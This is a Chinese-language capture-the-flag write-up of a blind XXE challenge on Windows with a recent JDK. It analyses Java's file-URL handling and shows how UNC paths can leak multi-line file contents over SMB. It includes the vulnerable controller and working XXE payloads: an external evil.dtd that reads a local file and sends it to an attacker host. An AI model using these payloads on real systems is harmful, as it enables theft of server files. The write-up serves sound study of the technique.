最近通过学习到Killer师傅出的题Java-Puzzle/No-FTP-XXE at main · cwkiller/Java-Puzzle · GitHub
这里对XXE OOB的一个总结和浅显分析:
一般情况下XXE OOB的思路
传统的无回显XXE OOB中,http协议外带数据只携带单行的数据(不能有\n);一般来说,对于多行的数据外带一般有这几种方法:
1.php利用伪协议将内容编码外带
2.外部实体利用FTP协议带出多行内容
JDK>=8u131后失效,sun.net.ftp.impl.FtpClient#issueCommand检测到\n会抛出异常`
3.XXE报错注入
前提:服务器对异常的处理能够回显到响应包。原理等同于SQL报错注入,请求一个不存在的路径并拼接读取文件的实体参数,解析器会解析该实体参数并报错。
不出网情况下,需要找到本地环境的dtd,利用”xml中两个相同名称的实体,只有第一个会被使用”的特性进行覆盖。利用本地 DTD 文件进行 XXE 攻击 — Exploiting XXE with local DTD files
在PHP libxml环境下,也可以利用其自身语法带入xml作为”外部实体”,进而不用寻求环境中的dtd。
探索
题目代码存在XXE,但也将以上所有的选项都ban掉了。
public class BlindXxeController {
@PostMapping({"/update-config"})
public ResponseEntity<Map<String, Object>> updateSystemConfig(@RequestParam("configXml") String configXml, HttpServletRequest request) {
Map<String, Object> response = new HashMap();
try {
CompletableFuture.runAsync(() -> {
try {
SAXReader reader = new SAXReader();
Document document = reader.read(new StringReader(configXml));
this.processConfigDocument(document);
} catch (DocumentException e) {
System.err.println("配置处理错误: " + e.getMessage());
}
});
response.put("status", "success");
response.put("message", "配置更新请求已提交,正在后台处理");
return ResponseEntity.ok(response);
} catch (Exception var5) {
response.put("status", "error");
response.put("message", "配置更新请求失败");
response.put("error", "系统内部错误");
return ResponseEntity.internalServerError().body(response);
}
}
private void processConfigDocument(Document document) {
try {
Element root = document.getRootElement();
List<Element> settings = root.elements("setting");
for(Element setting : settings) {
String name = setting.attributeValue("name");
String value = setting.getTextTrim();
System.out.println("更新配置: " + name + " = " + value);
}
System.out.println("配置处理完成,共处理 " + settings.size() + " 个配置项");
} catch (Exception e) {
System.err.println("配置处理异常: " + e.getMessage());
}
}
捕获所有异常,无法报错注入 ;JDK版本>8u131,FTP外带也不行。

http/https协议的其它位置如@username在低版本无法带出\n后的数据,高版本直接报错。
jar协议的远程连接本质上就是调用的指向jar包的协议,如jar:http://host:port/file/to/path.jar:

mailto协议本身不携带任何数据进行连接,只会弹出一个邮箱api。
那么便只剩下file/netdoc协议了,这在一般的印象里似乎只能用于本地资源访问,最多只是出现过file://localhost/file/to/path这样的特殊写法。
果真如此吗?
其实翻阅文档 ,我们在RFC对于FILE的规范中可以看见:


(RFC 8089 – “文件” URI 方案 — RFC 8089 – The “file” URI Scheme)
FILE是支持UNC路径的,且一般有两种写法第一种是标准写法:file://host/path/to/file
第二种是先后兼容的写法:file:////host/path/to/file
UNC路径的利用正好对应题目的所使用windows系统(LINUX的标准API是不支持UNC访问的,在LINUX中访问同域的Windows一般需要用到smbclient命令 如何从Linux访问我的Windows管理共享? networking samba file-sharing – Dev59)
而UNC路径的访问在windows中底层实现默认对应走SMB协议。
应用程序请求 \\server\share
↓
┌─────────────────────────────┐
│ 多重UNC提供程序 (MUP) │ ← 路由中心
│ • 枚举所有注册的提供程序 │
│ • 按顺序尝试每个提供程序 │
└─────────────┬───────────────┘
↓
┌─────────────────┐
│ 提供程序1: SMB │ ← 默认优先
│ 提供程序2: WebDAV│
│ 提供程序3: NFS │
│ 提供程序4: FTP │
└─────────────────┘
由此,我们又找到了一条路径,能够让目标windows机,向我们的服务器发起携带数据的SMB请求。
那么SMB协议能否支持我们携带多行数据呢?
似乎是可以的,前面提到了,对UNC路径由什么协议发起请求是由windows决定的,自然对于针对路径的处理逻辑也会放在windows层,而深入到这个层面的API,对于\n的这种字符一般 不会那么敏感。
经过调试也确实如此 ,JAVA层对UNC路径没有如不允许\n类似这样的限制,具体的代码放在下面来说。
让我们回到XXE对其的利用上,我们能否直接在.dtd文件中利用UNC路径进行远程请求中呢?
configXml = "<!DOCTYPE convert [\n" +
"<!ENTITY % remote SYSTEM \"http://127.0.0.1:1111/evil.dtd\">\n" +
"%remote;%int;%send;\n" +
"]>";
evil.dtd
<!ENTITY % file SYSTEM "file:///D:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM ' \\127.0.0.1?p=%file;'>">
这时会报错 :

这是因为XML解析器对于外部实体的连接,第一步一定是建立一个java.net.URL对象,而java.net.URL对象是不接受UNC路径的。
那么Java中的FILE协议是如何实现对UNC路径的请求的呢?
锁定解析FILE协议对应的Handler中:

sun.net.www.protocol.file.Handler#openConnection()

对FILE协议的处理流程大概是这样的:
接收 file:// 格式的URL → 解析主机和文件路径 → 判断是否为网络路径? → 是 → 尝试作为UNC路径访问 → 成功? → 是 → 返回文件URL连接
↓ ↓ ↓
否 否 否
↓ ↓ ↓
作为本地文件处理 ←------------- 尝试作为FTP回退 ←---- 抛出IOException
对于FILE协议中的标准UNC写法,即file://host/file/to/path,且需host非”localhost”,会取出host及对应路径,拼接上\\,作为new File的入参:


(注:图一idea经典犯病了,,,var3在图2里是显示正确的)
java.io.File是接受解析UNC路径的, 它会调用java.io.WinNTFileSystem类去解析,并且整个解析过程都是直接去调native方法,没有过多的对路径的处理 ;java .io.File是能够接受\n作为路径一部分的。

随后,真正建立连接的逻辑在
FileURLConnection#getInputStream()
->
FileURLConnection#connect():

本质上就是利用路径建立一个FileInputStream,并从流中读取内容。真正校验文件是否存在、获取文件内容这些都是调用native方法;而在从FileInputStream接受UNC路径,到调用native的整个过程中,并没有对路径进行任何如对”\n”限制和处理,哪怕你输入一个错误的路径也会走到调用native方法,一切交给底层API去做。
payload
这便是Windows环境下高版本JDK无FTP的XXE OOB代码层面的一些分析,回到实际操作,我们的构造就变得简单了:
xml = "<!DOCTYPE convert [\n" +
"<!ENTITY % remote SYSTEM \"http://127.0.0.1:9999/evil.dtd\">\n" +
"%remote;%int;%send;\n" +
"]>"
evil.dtd:
<!ENTITY % file SYSTEM "file:///D:/1.txt">
<!ENTITY % int "<!ENTITY send SYSTEM 'file://ip/share/%file;'>">